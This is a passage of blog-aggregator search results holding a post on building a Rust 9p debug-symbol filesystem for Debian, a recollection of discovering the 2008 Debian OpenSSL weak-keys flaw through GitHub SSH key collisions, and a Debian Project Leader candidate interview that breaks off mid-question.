Search Results: "bod"

13 April 2024

Paul Tagliamonte: Domo Arigato, Mr. debugfs

Years ago, at what I think I remember was DebConf 15, I hacked for a while on debhelper to write build-ids to debian binary control files, so that the build-id (more specifically, the ELF note .note.gnu.build-id) wound up in the Debian apt archive metadata. I ve always thought this was super cool, and seeing as how Michael Stapelberg blogged some great pointers around the ecosystem, including the fancy new debuginfod service, and the find-dbgsym-packages helper, which uses these same headers, I don t think I m the only one. At work I ve been using a lot of rust, specifically, async rust using tokio. To try and work on my style, and to dig deeper into the how and why of the decisions made in these frameworks, I ve decided to hack up a project that I ve wanted to do ever since 2015 write a debug filesystem. Let s get to it.

Back to the Future Time to admit something. I really love Plan 9. It s just so good. So many ideas from Plan 9 are just so prescient, and everything just feels right. Not just right like, feels good like, correct. The bit that I ve always liked the most is 9p, the network protocol for serving a filesystem over a network. This leads to all sorts of fun programs, like the Plan 9 ftp client being a 9p server you mount the ftp server and access files like any other files. It s kinda like if fuse were more fully a part of how the operating system worked, but fuse is all running client-side. With 9p there s a single client, and different servers that you can connect to, which may be backed by a hard drive, remote resources over something like SFTP, FTP, HTTP or even purely synthetic. The interesting (maybe sad?) part here is that 9p wound up outliving Plan 9 in terms of adoption 9p is in all sorts of places folks don t usually expect. For instance, the Windows Subsystem for Linux uses the 9p protocol to share files between Windows and Linux. ChromeOS uses it to share files with Crostini, and qemu uses 9p (virtio-p9) to share files between guest and host. If you re noticing a pattern here, you d be right; for some reason 9p is the go-to protocol to exchange files between hypervisor and guest. Why? I have no idea, except maybe due to being designed well, simple to implement, and it s a lot easier to validate the data being shared and validate security boundaries. Simplicity has its value. As a result, there s a lot of lingering 9p support kicking around. Turns out Linux can even handle mounting 9p filesystems out of the box. This means that I can deploy a filesystem to my LAN or my localhost by running a process on top of a computer that needs nothing special, and mount it over the network on an unmodified machine unlike fuse, where you d need client-specific software to run in order to mount the directory. For instance, let s mount a 9p filesystem running on my localhost machine, serving requests on 127.0.0.1:564 (tcp) that goes by the name mountpointname to /mnt.
$ mount -t 9p \
-o trans=tcp,port=564,version=9p2000.u,aname=mountpointname \
127.0.0.1 \
/mnt
Linux will mount away, and attach to the filesystem as the root user, and by default, attach to that mountpoint again for each local user that attempts to use it. Nifty, right? I think so. The server is able to keep track of per-user access and authorization along with the host OS.

WHEREIN I STYX WITH IT Since I wanted to push myself a bit more with rust and tokio specifically, I opted to implement the whole stack myself, without third party libraries on the critical path where I could avoid it. The 9p protocol (sometimes called Styx, the original name for it) is incredibly simple. It s a series of client to server requests, which receive a server to client response. These are, respectively, T messages, which transmit a request to the server, which trigger an R message in response (Reply messages). These messages are TLV payload with a very straight forward structure so straight forward, in fact, that I was able to implement a working server off nothing more than a handful of man pages. Later on after the basics worked, I found a more complete spec page that contains more information about the unix specific variant that I opted to use (9P2000.u rather than 9P2000) due to the level of Linux specific support for the 9P2000.u variant over the 9P2000 protocol.

MR ROBOTO The backend stack over at zoo is rust and tokio running i/o for an HTTP and WebRTC server. I figured I d pick something fairly similar to write my filesystem with, since 9P can be implemented on basically anything with I/O. That means tokio tcp server bits, which construct and use a 9p server, which has an idiomatic Rusty API that partially abstracts the raw R and T messages, but not so much as to cause issues with hiding implementation possibilities. At each abstraction level, there s an escape hatch allowing someone to implement any of the layers if required. I called this framework arigato which can be found over on docs.rs and crates.io.
/// Simplified version of the arigato File trait; this isn't actually
/// the same trait; there's some small cosmetic differences. The
/// actual trait can be found at:
///
/// https://docs.rs/arigato/latest/arigato/server/trait.File.html
trait File  
/// OpenFile is the type returned by this File via an Open call.
 type OpenFile: OpenFile;
/// Return the 9p Qid for this file. A file is the same if the Qid is
 /// the same. A Qid contains information about the mode of the file,
 /// version of the file, and a unique 64 bit identifier.
 fn qid(&self) -> Qid;
/// Construct the 9p Stat struct with metadata about a file.
 async fn stat(&self) -> FileResult<Stat>;
/// Attempt to update the file metadata.
 async fn wstat(&mut self, s: &Stat) -> FileResult<()>;
/// Traverse the filesystem tree.
 async fn walk(&self, path: &[&str]) -> FileResult<(Option<Self>, Vec<Self>)>;
/// Request that a file's reference be removed from the file tree.
 async fn unlink(&mut self) -> FileResult<()>;
/// Create a file at a specific location in the file tree.
 async fn create(
&mut self,
name: &str,
perm: u16,
ty: FileType,
mode: OpenMode,
extension: &str,
) -> FileResult<Self>;
/// Open the File, returning a handle to the open file, which handles
 /// file i/o. This is split into a second type since it is genuinely
 /// unrelated -- and the fact that a file is Open or Closed can be
 /// handled by the  arigato  server for us.
 async fn open(&mut self, mode: OpenMode) -> FileResult<Self::OpenFile>;
 
/// Simplified version of the arigato OpenFile trait; this isn't actually
/// the same trait; there's some small cosmetic differences. The
/// actual trait can be found at:
///
/// https://docs.rs/arigato/latest/arigato/server/trait.OpenFile.html
trait OpenFile  
/// iounit to report for this file. The iounit reported is used for Read
 /// or Write operations to signal, if non-zero, the maximum size that is
 /// guaranteed to be transferred atomically.
 fn iounit(&self) -> u32;
/// Read some number of bytes up to  buf.len()  from the provided
 ///  offset  of the underlying file. The number of bytes read is
 /// returned.
 async fn read_at(
&mut self,
buf: &mut [u8],
offset: u64,
) -> FileResult<u32>;
/// Write some number of bytes up to  buf.len()  from the provided
 ///  offset  of the underlying file. The number of bytes written
 /// is returned.
 fn write_at(
&mut self,
buf: &mut [u8],
offset: u64,
) -> FileResult<u32>;
 

Thanks, decade ago paultag! Let s do it! Let s use arigato to implement a 9p filesystem we ll call debugfs that will serve all the debug files shipped according to the Packages metadata from the apt archive. We ll fetch the Packages file and construct a filesystem based on the reported Build-Id entries. For those who don t know much about how an apt repo works, here s the 2-second crash course on what we re doing. The first is to fetch the Packages file, which is specific to a binary architecture (such as amd64, arm64 or riscv64). That architecture is specific to a component (such as main, contrib or non-free). That component is specific to a suite, such as stable, unstable or any of its aliases (bullseye, bookworm, etc). Let s take a look at the Packages.xz file for the unstable-debug suite, main component, for all amd64 binaries.
$ curl \
https://deb.debian.org/debian-debug/dists/unstable-debug/main/binary-amd64/Packages.xz \
  unxz
This will return the Debian-style rfc2822-like headers, which is an export of the metadata contained inside each .deb file which apt (or other tools that can use the apt repo format) use to fetch information about debs. Let s take a look at the debug headers for the netlabel-tools package in unstable which is a package named netlabel-tools-dbgsym in unstable-debug.
Package: netlabel-tools-dbgsym
Source: netlabel-tools (0.30.0-1)
Version: 0.30.0-1+b1
Installed-Size: 79
Maintainer: Paul Tagliamonte <paultag@debian.org>
Architecture: amd64
Depends: netlabel-tools (= 0.30.0-1+b1)
Description: debug symbols for netlabel-tools
Auto-Built-Package: debug-symbols
Build-Ids: e59f81f6573dadd5d95a6e4474d9388ab2777e2a
Description-md5: a0e587a0cf730c88a4010f78562e6db7
Section: debug
Priority: optional
Filename: pool/main/n/netlabel-tools/netlabel-tools-dbgsym_0.30.0-1+b1_amd64.deb
Size: 62776
SHA256: 0e9bdb087617f0350995a84fb9aa84541bc4df45c6cd717f2157aa83711d0c60
So here, we can parse the package headers in the Packages.xz file, and store, for each Build-Id, the Filename where we can fetch the .deb at. Each .deb contains a number of files but we re only really interested in the files inside the .deb located at or under /usr/lib/debug/.build-id/, which you can find in debugfs under rfc822.rs. It s crude, and very single-purpose, but I m feeling a bit lazy.

Who needs dpkg?! For folks who haven t seen it yet, a .deb file is a special type of .ar file, that contains (usually) three files inside debian-binary, control.tar.xz and data.tar.xz. The core of an .ar file is a fixed size (60 byte) entry header, followed by the specified size number of bytes.
[8 byte .ar file magic]
[60 byte entry header]
[N bytes of data]
[60 byte entry header]
[N bytes of data]
[60 byte entry header]
[N bytes of data]
...
First up was to implement a basic ar parser in ar.rs. Before we get into using it to parse a deb, as a quick diversion, let s break apart a .deb file by hand something that is a bit of a rite of passage (or at least it used to be? I m getting old) during the Debian nm (new member) process, to take a look at where exactly the .debug file lives inside the .deb file.
$ ar x netlabel-tools-dbgsym_0.30.0-1+b1_amd64.deb
$ ls
control.tar.xz debian-binary
data.tar.xz netlabel-tools-dbgsym_0.30.0-1+b1_amd64.deb
$ tar --list -f data.tar.xz   grep '.debug$'
./usr/lib/debug/.build-id/e5/9f81f6573dadd5d95a6e4474d9388ab2777e2a.debug
Since we know quite a bit about the structure of a .deb file, and I had to implement support from scratch anyway, I opted to implement a (very!) basic debfile parser using HTTP Range requests. HTTP Range requests, if supported by the server (denoted by a accept-ranges: bytes HTTP header in response to an HTTP HEAD request to that file) means that we can add a header such as range: bytes=8-68 to specifically request that the returned GET body be the byte range provided (in the above case, the bytes starting from byte offset 8 until byte offset 68). This means we can fetch just the ar file entry from the .deb file until we get to the file inside the .deb we are interested in (in our case, the data.tar.xz file) at which point we can request the body of that file with a final range request. I wound up writing a struct to handle a read_at-style API surface in hrange.rs, which we can pair with ar.rs above and start to find our data in the .deb remotely without downloading and unpacking the .deb at all. After we have the body of the data.tar.xz coming back through the HTTP response, we get to pipe it through an xz decompressor (this kinda sucked in Rust, since a tokio AsyncRead is not the same as an http Body response is not the same as std::io::Read, is not the same as an async (or sync) Iterator is not the same as what the xz2 crate expects; leading me to read blocks of data to a buffer and stuff them through the decoder by looping over the buffer for each lzma2 packet in a loop), and tarfile parser (similarly troublesome). From there we get to iterate over all entries in the tarfile, stopping when we reach our file of interest. Since we can t seek, but gdb needs to, we ll pull it out of the stream into a Cursor<Vec<u8>> in-memory and pass a handle to it back to the user. From here on out its a matter of gluing together a File traited struct in debugfs, and serving the filesystem over TCP using arigato. Done deal!

A quick diversion about compression I was originally hoping to avoid transferring the whole tar file over the network (and therefore also reading the whole debug file into ram, which objectively sucks), but quickly hit issues with figuring out a way around seeking around an xz file. What s interesting is xz has a great primitive to solve this specific problem (specifically, use a block size that allows you to seek to the block as close to your desired seek position just before it, only discarding at most block size - 1 bytes), but data.tar.xz files generated by dpkg appear to have a single mega-huge block for the whole file. I don t know why I would have expected any different, in retrospect. That means that this now devolves into the base case of How do I seek around an lzma2 compressed data stream ; which is a lot more complex of a question. Thankfully, notoriously brilliant tianon was nice enough to introduce me to Jon Johnson who did something super similar adapted a technique to seek inside a compressed gzip file, which lets his service oci.dag.dev seek through Docker container images super fast based on some prior work such as soci-snapshotter, gztool, and zran.c. He also pulled this party trick off for apk based distros over at apk.dag.dev, which seems apropos. Jon was nice enough to publish a lot of his work on this specifically in a central place under the name targz on his GitHub, which has been a ton of fun to read through. The gist is that, by dumping the decompressor s state (window of previous bytes, in-memory data derived from the last N-1 bytes) at specific checkpoints along with the compressed data stream offset in bytes and decompressed offset in bytes, one can seek to that checkpoint in the compressed stream and pick up where you left off creating a similar block mechanism against the wishes of gzip. It means you d need to do an O(n) run over the file, but every request after that will be sped up according to the number of checkpoints you ve taken. Given the complexity of xz and lzma2, I don t think this is possible for me at the moment especially given most of the files I ll be requesting will not be loaded from again especially when I can just cache the debug header by Build-Id. I want to implement this (because I m generally curious and Jon has a way of getting someone excited about compression schemes, which is not a sentence I thought I d ever say out loud), but for now I m going to move on without this optimization. Such a shame, since it kills a lot of the work that went into seeking around the .deb file in the first place, given the debian-binary and control.tar.gz members are so small.

The Good First, the good news right? It works! That s pretty cool. I m positive my younger self would be amused and happy to see this working; as is current day paultag. Let s take debugfs out for a spin! First, we need to mount the filesystem. It even works on an entirely unmodified, stock Debian box on my LAN, which is huge. Let s take it for a spin:
$ mount \
-t 9p \
-o trans=tcp,version=9p2000.u,aname=unstable-debug \
192.168.0.2 \
/usr/lib/debug/.build-id/
And, let s prove to ourselves that this actually mounted before we go trying to use it:
$ mount   grep build-id
192.168.0.2 on /usr/lib/debug/.build-id type 9p (rw,relatime,aname=unstable-debug,access=user,trans=tcp,version=9p2000.u,port=564)
Slick. We ve got an open connection to the server, where our host will keep a connection alive as root, attached to the filesystem provided in aname. Let s take a look at it.
$ ls /usr/lib/debug/.build-id/
00 0d 1a 27 34 41 4e 5b 68 75 82 8E 9b a8 b5 c2 CE db e7 f3
01 0e 1b 28 35 42 4f 5c 69 76 83 8f 9c a9 b6 c3 cf dc E7 f4
02 0f 1c 29 36 43 50 5d 6a 77 84 90 9d aa b7 c4 d0 dd e8 f5
03 10 1d 2a 37 44 51 5e 6b 78 85 91 9e ab b8 c5 d1 de e9 f6
04 11 1e 2b 38 45 52 5f 6c 79 86 92 9f ac b9 c6 d2 df ea f7
05 12 1f 2c 39 46 53 60 6d 7a 87 93 a0 ad ba c7 d3 e0 eb f8
06 13 20 2d 3a 47 54 61 6e 7b 88 94 a1 ae bb c8 d4 e1 ec f9
07 14 21 2e 3b 48 55 62 6f 7c 89 95 a2 af bc c9 d5 e2 ed fa
08 15 22 2f 3c 49 56 63 70 7d 8a 96 a3 b0 bd ca d6 e3 ee fb
09 16 23 30 3d 4a 57 64 71 7e 8b 97 a4 b1 be cb d7 e4 ef fc
0a 17 24 31 3e 4b 58 65 72 7f 8c 98 a5 b2 bf cc d8 E4 f0 fd
0b 18 25 32 3f 4c 59 66 73 80 8d 99 a6 b3 c0 cd d9 e5 f1 fe
0c 19 26 33 40 4d 5a 67 74 81 8e 9a a7 b4 c1 ce da e6 f2 ff
Outstanding. Let s try using gdb to debug a binary that was provided by the Debian archive, and see if it ll load the ELF by build-id from the right .deb in the unstable-debug suite:
$ gdb -q /usr/sbin/netlabelctl
Reading symbols from /usr/sbin/netlabelctl...
Reading symbols from /usr/lib/debug/.build-id/e5/9f81f6573dadd5d95a6e4474d9388ab2777e2a.debug...
(gdb)
Yes! Yes it will!
$ file /usr/lib/debug/.build-id/e5/9f81f6573dadd5d95a6e4474d9388ab2777e2a.debug
/usr/lib/debug/.build-id/e5/9f81f6573dadd5d95a6e4474d9388ab2777e2a.debug: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter *empty*, BuildID[sha1]=e59f81f6573dadd5d95a6e4474d9388ab2777e2a, for GNU/Linux 3.2.0, with debug_info, not stripped

The Bad Linux s support for 9p is mainline, which is great, but it s not robust. Network issues or server restarts will wedge the mountpoint (Linux can t reconnect when the tcp connection breaks), and things that work fine on local filesystems get translated in a way that causes a lot of network chatter for instance, just due to the way the syscalls are translated, doing an ls, will result in a stat call for each file in the directory, even though linux had just got a stat entry for every file while it was resolving directory names. On top of that, Linux will serialize all I/O with the server, so there s no concurrent requests for file information, writes, or reads pending at the same time to the server; and read and write throughput will degrade as latency increases due to increasing round-trip time, even though there are offsets included in the read and write calls. It works well enough, but is frustrating to run up against, since there s not a lot you can do server-side to help with this beyond implementing the 9P2000.L variant (which, maybe is worth it).

The Ugly Unfortunately, we don t know the file size(s) until we ve actually opened the underlying tar file and found the correct member, so for most files, we don t know the real size to report when getting a stat. We can t parse the tarfiles for every stat call, since that d make ls even slower (bummer). Only hiccup is that when I report a filesize of zero, gdb throws a bit of a fit; let s try with a size of 0 to start:
$ ls -lah /usr/lib/debug/.build-id/e5/9f81f6573dadd5d95a6e4474d9388ab2777e2a.debug
-r--r--r-- 1 root root 0 Dec 31 1969 /usr/lib/debug/.build-id/e5/9f81f6573dadd5d95a6e4474d9388ab2777e2a.debug
$ gdb -q /usr/sbin/netlabelctl
Reading symbols from /usr/sbin/netlabelctl...
Reading symbols from /usr/lib/debug/.build-id/e5/9f81f6573dadd5d95a6e4474d9388ab2777e2a.debug...
warning: Discarding section .note.gnu.build-id which has a section size (24) larger than the file size [in module /usr/lib/debug/.build-id/e5/9f81f6573dadd5d95a6e4474d9388ab2777e2a.debug]
[...]
This obviously won t work since gdb will throw away all our hard work because of stat s output, and neither will loading the real size of the underlying file. That only leaves us with hardcoding a file size and hope nothing else breaks significantly as a result. Let s try it again:
$ ls -lah /usr/lib/debug/.build-id/e5/9f81f6573dadd5d95a6e4474d9388ab2777e2a.debug
-r--r--r-- 1 root root 954M Dec 31 1969 /usr/lib/debug/.build-id/e5/9f81f6573dadd5d95a6e4474d9388ab2777e2a.debug
$ gdb -q /usr/sbin/netlabelctl
Reading symbols from /usr/sbin/netlabelctl...
Reading symbols from /usr/lib/debug/.build-id/e5/9f81f6573dadd5d95a6e4474d9388ab2777e2a.debug...
(gdb)
Much better. I mean, terrible but better. Better for now, anyway.

Kilroy was here Do I think this is a particularly good idea? I mean; kinda. I m probably going to make some fun 9p arigato-based filesystems for use around my LAN, but I don t think I ll be moving to use debugfs until I can figure out how to ensure the connection is more resilient to changing networks, server restarts and fixes on i/o performance. I think it was a useful exercise and is a pretty great hack, but I don t think this ll be shipping anywhere anytime soon. Along with me publishing this post, I ve pushed up all my repos; so you should be able to play along at home! There s a lot more work to be done on arigato; but it does handshake and successfully export a working 9P2000.u filesystem. Check it out on on my github at arigato, debugfs and also on crates.io and docs.rs. At least I can say I was here and I got it working after all these years.

9 April 2024

Matthew Palmer: How I Tripped Over the Debian Weak Keys Vulnerability

Those of you who haven t been in IT for far, far too long might not know that next month will be the 16th(!) anniversary of the disclosure of what was, at the time, a fairly earth-shattering revelation: that for about 18 months, the Debian OpenSSL package was generating entirely predictable private keys. The recent xz-stential threat (thanks to @nixCraft for making me aware of that one), has got me thinking about my own serendipitous interaction with a major vulnerability. Given that the statute of limitations has (probably) run out, I thought I d share it as a tale of how huh, that s weird can be a powerful threat-hunting tool but only if you ve got the time to keep pulling at the thread.

Prelude to an Adventure Our story begins back in March 2008. I was working at Engine Yard (EY), a now largely-forgotten Rails-focused hosting company, which pioneered several advances in Rails application deployment. Probably EY s greatest claim to lasting fame is that they helped launch a little code hosting platform you might have heard of, by providing them free infrastructure when they were little more than a glimmer in the Internet s eye. I am, of course, talking about everyone s favourite Microsoft product: GitHub. Since GitHub was in the right place, at the right time, with a compelling product offering, they quickly started to gain traction, and grow their userbase. With growth comes challenges, amongst them the one we re focusing on today: SSH login times. Then, as now, GitHub provided SSH access to the git repos they hosted, by SSHing to git@github.com with publickey authentication. They were using the standard way that everyone manages SSH keys: the ~/.ssh/authorized_keys file, and that became a problem as the number of keys started to grow. The way that SSH uses this file is that, when a user connects and asks for publickey authentication, SSH opens the ~/.ssh/authorized_keys file and scans all of the keys listed in it, looking for a key which matches the key that the user presented. This linear search is normally not a huge problem, because nobody in their right mind puts more than a few keys in their ~/.ssh/authorized_keys, right?
2008-era GitHub giving monkey puppet side-eye to the idea that nobody stores many keys in an authorized_keys file
Of course, as a popular, rapidly-growing service, GitHub was gaining users at a fair clip, to the point that the one big file that stored all the SSH keys was starting to visibly impact SSH login times. This problem was also not going to get any better by itself. Something Had To Be Done. EY management was keen on making sure GitHub ran well, and so despite it not really being a hosting problem, they were willing to help fix this problem. For some reason, the late, great, Ezra Zygmuntowitz pointed GitHub in my direction, and let me take the time to really get into the problem with the GitHub team. After examining a variety of different possible solutions, we came to the conclusion that the least-worst option was to patch OpenSSH to lookup keys in a MySQL database, indexed on the key fingerprint. We didn t take this decision on a whim it wasn t a case of yeah, sure, let s just hack around with OpenSSH, what could possibly go wrong? . We knew it was potentially catastrophic if things went sideways, so you can imagine how much worse the other options available were. Ensuring that this wouldn t compromise security was a lot of the effort that went into the change. In the end, though, we rolled it out in early April, and lo! SSH logins were fast, and we were pretty sure we wouldn t have to worry about this problem for a long time to come. Normally, you d think patching OpenSSH to make mass SSH logins super fast would be a good story on its own. But no, this is just the opening scene.

Chekov s Gun Makes its Appearance Fast forward a little under a month, to the first few days of May 2008. I get a message from one of the GitHub team, saying that somehow users were able to access other users repos over SSH. Naturally, as we d recently rolled out the OpenSSH patch, which touched this very thing, the code I d written was suspect number one, so I was called in to help.
The lineup scene from the movie The Usual Suspects They're called The Usual Suspects for a reason, but sometimes, it really is Keyser S ze
Eventually, after more than a little debugging, we discovered that, somehow, there were two users with keys that had the same key fingerprint. This absolutely shouldn t happen it s a bit like winning the lottery twice in a row1 unless the users had somehow shared their keys with each other, of course. Still, it was worth investigating, just in case it was a web application bug, so the GitHub team reached out to the users impacted, to try and figure out what was going on. The users professed no knowledge of each other, neither admitted to publicising their key, and couldn t offer any explanation as to how the other person could possibly have gotten their key. Then things went from weird to what the ? . Because another pair of users showed up, sharing a key fingerprint but it was a different shared key fingerprint. The odds now have gone from winning the lottery multiple times in a row to as close to this literally cannot happen as makes no difference.
Milhouse from The Simpsons says that We're Through The Looking Glass Here, People
Once we were really, really confident that the OpenSSH patch wasn t the cause of the problem, my involvement in the problem basically ended. I wasn t a GitHub employee, and EY had plenty of other customers who needed my help, so I wasn t able to stay deeply involved in the on-going investigation of The Mystery of the Duplicate Keys. However, the GitHub team did keep talking to the users involved, and managed to determine the only apparent common factor was that all the users claimed to be using Debian or Ubuntu systems, which was where their SSH keys would have been generated. That was as far as the investigation had really gotten, when along came May 13, 2008.

Chekov s Gun Goes Off With the publication of DSA-1571-1, everything suddenly became clear. Through a well-meaning but ultimately disasterous cleanup of OpenSSL s randomness generation code, the Debian maintainer had inadvertently reduced the number of possible keys that could be generated by a given user from bazillions to a little over 32,000. With so many people signing up to GitHub some of them no doubt following best practice and freshly generating a separate key it s unsurprising that some collisions occurred. You can imagine the sense of oooooooh, so that s what s going on! that rippled out once the issue was understood. I was mostly glad that we had conclusive evidence that my OpenSSH patch wasn t at fault, little knowing how much more contact I was to have with Debian weak keys in the future, running a huge store of known-compromised keys and using them to find misbehaving Certificate Authorities, amongst other things.

Lessons Learned While I ve not found a description of exactly when and how Luciano Bello discovered the vulnerability that became CVE-2008-0166, I presume he first came across it some time before it was disclosed likely before GitHub tripped over it. The stable Debian release that included the vulnerable code had been released a year earlier, so there was plenty of time for Luciano to have discovered key collisions and go hmm, I wonder what s going on here? , then keep digging until the solution presented itself. The thought hmm, that s odd , followed by intense investigation, leading to the discovery of a major flaw is also what ultimately brought down the recent XZ backdoor. The critical part of that sequence is the ability to do that intense investigation, though. When I reflect on my brush with the Debian weak keys vulnerability, what sticks out to me is the fact that I didn t do the deep investigation. I wonder if Luciano hadn t found it, how long it might have been before it was found. The GitHub team would have continued investigating, presumably, and perhaps they (or I) would have eventually dug deep enough to find it. But we were all super busy myself, working support tickets at EY, and GitHub feverishly building features and fighting the fires in their rapidly-growing service. As it was, Luciano was able to take the time to dig in and find out what was happening, but just like the XZ backdoor, I feel like we, as an industry, got a bit lucky that someone with the skills, time, and energy was on hand at the right time to make a huge difference. It s a luxury to be able to take the time to really dig into a problem, and it s a luxury that most of us rarely have. Perhaps an understated takeaway is that somehow we all need to wrestle back some time to follow our hunches and really dig into the things that make us go hmm .

Support My Hunches If you d like to help me be able to do intense investigations of mysterious software phenomena, you can shout me a refreshing beverage on ko-fi.
  1. the odds are actually probably more like winning the lottery about twenty times in a row. The numbers involved are staggeringly huge, so it s easiest to just approximate it as really, really unlikely .

5 April 2024

Bits from Debian: apt install dpl-candidate: Sruthi Chandran

The Debian Project Developers will shortly vote for a new Debian Project Leader known as the DPL. The DPL is the official representative of representative of The Debian Project tasked with managing the overall project, its vision, direction, and finances. The DPL is also responsible for the selection of Delegates, defining areas of responsibility within the project, the coordination of Developers, and making decisions required for the project. Our outgoing and present DPL Jonathan Carter served 4 terms, from 2020 through 2024. Jonathan shared his last Bits from the DPL post to Debian recently and his hopes for the future of Debian. Recently, we sat with the two present candidates for the DPL position asking questions to find out who they really are in a series of interviews about their platforms, visions for Debian, lives, and even their favorite text editors. The interviews were conducted by disaster2life (Yashraj Moghe) and made available from video and audio transcriptions: Voting for the position starts on April 6, 2024. Editors' note: This is our official return to Debian interviews, readers should stay tuned for more upcoming interviews with Developers and other important figures in Debian as part of our "Meet your Debian Developer" series. We used the following tools and services: Turboscribe.ai for the transcription from the audio and video files, IRC: Oftc.net for communication, Jitsi meet for interviews, and Open Broadcaster Software (OBS) for editing and video. While we encountered many technical difficulties in the return to this process, we are still able and proud to present the transcripts of the interviews edited only in a few areas for readability. 2024 Debian Project Leader Candidate: Sruthi Chandran Sruthi's interview Hi Sruthi, so for the first question, who are you and could you tell us a little bit about yourself? [Sruthi]:
I usually talk about me whenever I am talking about answering the question who am I, I usually say like I am a librarian turned free software enthusiast and a Debian Developer. So I had no technical background and I learned, I was introduced to free software through my husband and then I learned Debian packaging, and eventually I became a Debian Developer. So I always give my example to people who say I am not technically inclined, I don't have technical background so I can't contribute to free software. So yeah, that's what I refer to myself.
For the next question, could you tell me what do you do in Debian, and could you mention your story up until here today? [Sruthi]:
Okay, so let me start from my initial days in Debian. I started contributing to Debian, my first contribution was a Tibetan font. We went to a Tibetan place and they were saying they didn't have a font in Linux. So that's how I started contributing. Then I moved on to Ruby packages, then I have some JavaScript and Go packages, all dependencies of GitLab. So I was involved with maintaining GitLab for some time, now I'm not very active there. But yeah, so GitLab was the main package I was contributing to since I contributed since 2016 to maybe like 2020 or something. Later I have come [over to] packaging. Now I am part of some of the teams, delegated teams, like community team and outreach team, as well as the Debconf committee. And the biggest, I think, my activity in Debian, I would say is organizing Debconf 2023. So it was a great experience and yeah, so that's my story in Debian.
So what are three key terms about you and your candidacy? [Sruthi]:
Okay, let me first think about it. For candidacy, I can start with diversity is one point I started expressing from the first time I contested for DPL. But to be honest, that's the main point I want to bring.
[Yashraj]:
So for diversity, if you could break down your thoughts on diversity and make them, [about] your three points including diversity.
[Sruthi]:
So in addition to, eventually when starting it was just diversity. Now I have like a bit more ideas, like community, like I want to be a leader for the Debian community. More than, I don't know, maybe people may not agree, but I would say I want to be a leader of Debian community rather than a Debian operating system. I connect to community more and third point I would say.
The term of a DPL lasts for an year. So what do you think during, what would you try to do during that, that you can't do from your position now? [Sruthi]:
Okay. So I, like, I am very happy with the structure of Debian and how things work in Debian. Like you can do almost a lot of things, like almost all things without being a DPL. Whatever change you want to bring about or whatever you want to do, you can do without being a DPL. Anyone, like every DD has the same rights. Only things I feel [the] DPL has hold on are mainly the budget or the funding part, which like, that's where they do the decision making part. And then comes like, and one advantage of DPL driving some idea is that somehow people tend to listen to that with more, like, tend to give more attention to what DPL is saying rather than a normal DD. So I wanted to, like, I have answered some of the questions on how to, how I plan to do the financial budgeting part, how I want to handle, like, and the other thing is using the extra attention that I get as a DPL, I would like to obviously start with the diversity aspect in Debian. And yeah, like, I, what I want to do is not, like, be a leader and say, like, take Debian to one direction where I want to go, but I would rather take suggestions and inputs from the whole community and go about with that. So yes, that's what I would say.
And taking a less serious question now, what is your preferred text editor? [Sruthi]:
Vim.
[Yashraj]:
Vim, wholeheartedly team Vim?
[Sruthi]:
Yes.
[Yashraj]:
Great. Well, this was made in Vim, all the text for this.
[Sruthi]:
So, like, since you mentioned extra data, I'll give my example, like, it's just a fun note, when I started contributing to Debian, as I mentioned, I didn't have any knowledge about free software, like Debian, and I was not used to even using Linux. So, and I didn't have experience with these text editors. So, when I started contributing, I used to do the editing part using gedit. So, that's how I started. Eventually, I moved to Nano, and once I reached Vim, I didn't move on.
Team Vim. Next question. What, what do you think is the importance of the Debian project in the world today? And where would you like to see it in 10 years, like 10 years into the future? [Sruthi]:
Okay. So, Debian, as we all know, is referred to as the universal operating system without, like, it is said for a reason. We have hundreds and hundreds of operating systems, like Linux, distributions based on Debian. So, I believe Debian, like even now, Debian has good influence on the, at least on the Linux or Linux ecosystem. So, what we implement in Debian has, like, is going to affect quite a lot of, like, a very good percentage of people using Linux. So, yes. So, I think Debian is one of the leading Linux distributions. And I think in 10 years, we should be able to reach a position, like, where we are not, like, even now, like, even these many years after having Linux, we face a lot of problems in newer and newer hardware coming up and installing on them is a big problem. Like, firmwares and all those things are getting more and more complicated. Like, it should be getting simpler, but it's getting more and more complicated. So, I, one thing I would imagine, like, I don't know if we will ever reach there, but I would imagine that eventually with the Debian, we should be able to have some, at least a few of the hardware developers or hardware producers have Debian pre-installed and those kind of things. Like, not, like, become, I'm not saying it's all, it's also available right now. What I'm saying is that it becomes prominent enough to be opted as, like, default distro.
What part of Debian has made you And what part of the project has kept you going all through these years? [Sruthi]:
Okay. So, I started to contribute in 2016, and I was part of the team doing GitLab packaging, and we did have a lot of training workshops and those kind of things within India. And I was, like, I had interacted with some of the Indian DDs, but I never got, like, even through chat or mail. I didn't have a lot of interaction with the rest of the world, DDs. And the 2019 Debconf changed my whole perspective about Debian. Before that, I wasn't, like, even, I was interested in free software. I was doing the technical stuff and all. But after DebConf, my whole idea has been, like, my focus changed to the community. Debian community is a very welcoming, very interesting community to be with. And so, I believe that, like, 2019 DebConf was a for me. And that kept, from 2019, my focus has been to how to support, like, how, I moved to the community part of Debian from there. Then in 2020 I became part of the community team, and, like, I started being part of other teams. So, these, I would say, the Debian community is the one, like, aspect of Debian that keeps me whole, keeps me held on to the Debian ecosystem as a whole.
Continuing to speak about Debian, what do you think, what is the first thing that comes to your mind when you think of Debian, like, the word, the community, what's the first thing? [Sruthi]:
I think I may sound like a broken record or something.
[Yashraj]:
No, no.
[Sruthi]:
Again, I would say the Debian community, like, it's the people who makes Debian, that makes Debian special. Like, apart from that, if I say, I would say I'm very, like, one part of Debian that makes me very happy is the, how the governing system of Debian works, the Debian constitution and all those things, like, it's a very unique thing for Debian. And, and it's like, when people say you can't work without a proper, like, establishment or even somebody deciding everything for you, it's difficult. When people say, like, we have been, Debian has been proving it for quite a long time now, that it's possible. So, so that's one thing I believe, like, that's one unique point. And I am very proud about that.
What areas do you think Debian is failing in, how can it (that standing) be improved? [Sruthi]:
